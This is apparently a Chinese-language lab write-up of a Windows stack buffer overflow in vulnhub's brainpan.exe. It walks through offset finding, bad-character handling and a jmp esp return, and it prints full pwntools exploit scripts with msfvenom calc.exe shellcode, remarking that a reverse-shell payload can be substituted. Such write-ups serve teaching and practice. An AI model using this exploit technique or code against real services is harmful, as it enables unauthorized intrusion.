1. 工具和命令
windows上的pwn除了linux的东西之外,还需要准备一些其他东西,Immunity Debugger/OllyDBG,mona.py。
Immunity Debugger/OllyDBG常用命令
F8
步进
F9
运行到下一断点
F2
断点
!mona jmp -r esp -cpb "\x00"
搜索无00的jmp esp
2. brainpan.exe
http://www.vulnhub.com/entry/brainpan-1,51/
https://github.com/kezibei/pwn_study/blob/main/brainpan.exe
vulnhub上的一个靶机溢出,比较简单适合拿来入门。
首先和linuxpwn一样要确定编译后的文件属性,有无保护等,这里有winchecksec,但网上评价似乎不太好用。
以及区分32位还是64位程序,这里有很多种办法,比如直接双击后去任务管理器看,ida反编译等等。我推荐直接用7zip打开,然后文件——属性。
接下来去ida中看代码。
细心点跟进get_reply,可以发现溢出点strcpy
strcpy的溢出原理非常简单,Destination分配的空间只有520,当传入的Source超过这个值后就会发生栈溢出。
我们实际运行这个程序,可以发现其在9999端口开启了一个tcp服务。
通过nc简单交互如下。
和其他pwn一样,输入超长字符串,发生崩溃,软件会闪退。
那么我们开始调试,用Immunity Debugger加载。
加载文件后弹出brainpan.exe的黑框,此时软件并未运行。界面和OD是一样的,左上汇编,右上寄存器,右下栈。往下翻一翻可以发现strcpy,F2打个断点。
然后F9运行brainpan.exe,nc发送AAAA。
汇编出现蓝色光标,断点成功。
F8单步执行后,栈中出现41414141,此地址被写入eax。
此时和之前学pwn的知识就联系上了,由于存在栈溢出漏洞,可以无限向上写栈,那么0x5FF704也可以写入AAAA,比它高的栈上也一样,可以一直覆盖到返回地址。
返回地址在哪儿呢?ebp的后4位,看寄存器中ebp的地址,0x5FF908,那么返回地址就是0x5FF90C。
计算一下ebp-eax。
和Destination分配的空间一致,因此偏移量为524,手动试一下,用python生成520个A和4个C,nc发送。
EBP被精准的赋值为CCCC,那么payload就是524位的padding加4位地址。
同样的,我们也可以利用那些生成规律字符串的工具帮我们快速定位偏移量。
msf-pattern_create -l 1000
nc发送后直接两个F9引发程序崩溃,此时EIP地址如下。
msf-pattern_offset -q 0x35724134
接下来就是确定返回地址,显然这题没有直接system的后门函数,因此要使用shellcode。回顾一下同样使用shellcode的ret2stack,是将shellcode放在了栈上,这题用同样的方法(windows似乎默认就是栈可执行)试试。
先生成简单的弹计算器shellcode。
msfvenom -p windows/exec cmd="calc.exe" exitfunc=thread -b "\x00" -f c
同样由于不方便在cmd中输入特殊字符,用python来代替nc,网上很多文章都用的python原生socket交互,很显然我们可以在windows上也安装pwntools,不过其没有linux上的好用。
from pwn import *
context.log_level = 'debug'
sh = remote('127.0.0.1',9999)
print(sh.recv())
buf = "\xdd\xc5\xba\x0c\xa4\xa7\xa0\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
buf +="\x31\x31\x56\x18\x83\xc6\x04\x03\x56\x18\x46\x52\x5c\xc8\x04"
buf +="\x9d\x9d\x08\x69\x17\x78\x39\xa9\x43\x08\x69\x19\x07\x5c\x85"
buf +="\xd2\x45\x75\x1e\x96\x41\x7a\x97\x1d\xb4\xb5\x28\x0d\x84\xd4"
buf +="\xaa\x4c\xd9\x36\x93\x9e\x2c\x36\xd4\xc3\xdd\x6a\x8d\x88\x70"
buf +="\x9b\xba\xc5\x48\x10\xf0\xc8\xc8\xc5\x40\xea\xf9\x5b\xdb\xb5"
buf +="\xd9\x5a\x08\xce\x53\x45\x4d\xeb\x2a\xfe\xa5\x87\xac\xd6\xf4"
buf +="\x68\x02\x17\x39\x9b\x5a\x5f\xfd\x44\x29\xa9\xfe\xf9\x2a\x6e"
buf +="\x7d\x26\xbe\x75\x25\xad\x18\x52\xd4\x62\xfe\x11\xda\xcf\x74"
buf +="\x7d\xfe\xce\x59\xf5\xfa\x5b\x5c\xda\x8b\x18\x7b\xfe\xd0\xfb"
buf +="\xe2\xa7\xbc\xaa\x1b\xb7\x1f\x12\xbe\xb3\x8d\x47\xb3\x99\xdb"
buf +="\x96\x41\xa4\xa9\x99\x59\xa7\x9d\xf1\x68\x2c\x72\x85\x74\xe7"
buf +="\x37\x69\x97\x22\x4d\x02\x0e\xa7\xec\x4f\xb1\x1d\x32\x76\x32"
buf +="\x94\xca\x8d\x2a\xdd\xcf\xca\xec\x0d\xbd\x43\x99\x31\x12\x63"
buf +="\x88\x51\xf5\xf7\x50\xb8\x90\x7f\xf2\xc4"
payload = "A"*524 + "\x00\x5F\XF9\x10"[::-1] + buf
sh.send(payload)
如图,返回地址成功写入,但0x5FF910地址上并不是我们想象中的shellcode,因此不会成功。
然而再往高位栈上翻一翻,会发现shellcode。
那么修改一下即可成功溢出。
payload = "A"*524 + "\x00\x5F\XFD\x40"[::-1] + buf
这是为什么呢?在shellcode生成的命令中我们用到了-b "\x00"去除坏字符,道理是一样的,strcpy存在00截断,因此005FF910地址不能用。用115FF910和115F0010测试一下就会明白。
115FF910,不存在00,因此5FF910栈被写入shellcode。
115F0010,存在00,被截断在0010。
005FFD40这个地址可能是其他方法压的栈,在本地虽然能够溢出成功,但不稳定,也无法用来做原题,因此我们需要找到其他溢出方法。那就是jmp esp。
jmp esp即为无条件跳转esp指向的地址,而esp由于其特性,始终指向栈顶,因此很稳定,方便我们执行栈中的shellcode。
jmp esp可以用mona插件找出来,同样需要排除坏字符(注意执行后cpu界面会强制置顶,因此需要切换l和c)。
!mona jmp -r esp -cpb "\x00"
这个地址同样可以在ida中的后门函数_winkwink找到。
写出poc。
payload = "A"*524 + "\x31\x17\x12\xF3"[::-1] + buf
F8步进,在ret的时候,观察esp。
jmp esp的时候指向shellcode。
成功在栈中执行。
但最后并没有成功,因为还需要在jmp esp和shellcode之间填充一定数量的nop。
最终exp。
from pwn import *
context.log_level = 'debug'
sh = remote('127.0.0.1',9999)
print(sh.recv())
buf = "\xdd\xc5\xba\x0c\xa4\xa7\xa0\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
buf +="\x31\x31\x56\x18\x83\xc6\x04\x03\x56\x18\x46\x52\x5c\xc8\x04"
buf +="\x9d\x9d\x08\x69\x17\x78\x39\xa9\x43\x08\x69\x19\x07\x5c\x85"
buf +="\xd2\x45\x75\x1e\x96\x41\x7a\x97\x1d\xb4\xb5\x28\x0d\x84\xd4"
buf +="\xaa\x4c\xd9\x36\x93\x9e\x2c\x36\xd4\xc3\xdd\x6a\x8d\x88\x70"
buf +="\x9b\xba\xc5\x48\x10\xf0\xc8\xc8\xc5\x40\xea\xf9\x5b\xdb\xb5"
buf +="\xd9\x5a\x08\xce\x53\x45\x4d\xeb\x2a\xfe\xa5\x87\xac\xd6\xf4"
buf +="\x68\x02\x17\x39\x9b\x5a\x5f\xfd\x44\x29\xa9\xfe\xf9\x2a\x6e"
buf +="\x7d\x26\xbe\x75\x25\xad\x18\x52\xd4\x62\xfe\x11\xda\xcf\x74"
buf +="\x7d\xfe\xce\x59\xf5\xfa\x5b\x5c\xda\x8b\x18\x7b\xfe\xd0\xfb"
buf +="\xe2\xa7\xbc\xaa\x1b\xb7\x1f\x12\xbe\xb3\x8d\x47\xb3\x99\xdb"
buf +="\x96\x41\xa4\xa9\x99\x59\xa7\x9d\xf1\x68\x2c\x72\x85\x74\xe7"
buf +="\x37\x69\x97\x22\x4d\x02\x0e\xa7\xec\x4f\xb1\x1d\x32\x76\x32"
buf +="\x94\xca\x8d\x2a\xdd\xcf\xca\xec\x0d\xbd\x43\x99\x31\x12\x63"
buf +="\x88\x51\xf5\xf7\x50\xb8\x90\x7f\xf2\xc4"
payload = "A"*524 + "\x31\x17\x12\xF3"[::-1] + "\x90"*16 + buf
sh.send(payload)
实际做题的时候替换成反弹shell的就行了。
如果没有后门函数提供jmp esp,也可以从系统组件中寻找。
jmp esp汇编对应的16进制符为\xFF\Xe4,在kali中可生成。
msf-nasm_shell
jmp esp
也可以由pwntools获取。
from pwn import *
asm('jmp esp')
mona插件通过16进制并指定文件搜索。
!mona find -s "\xff\xe4" -m "C:\Windows\System32\KERNEL32.DLL"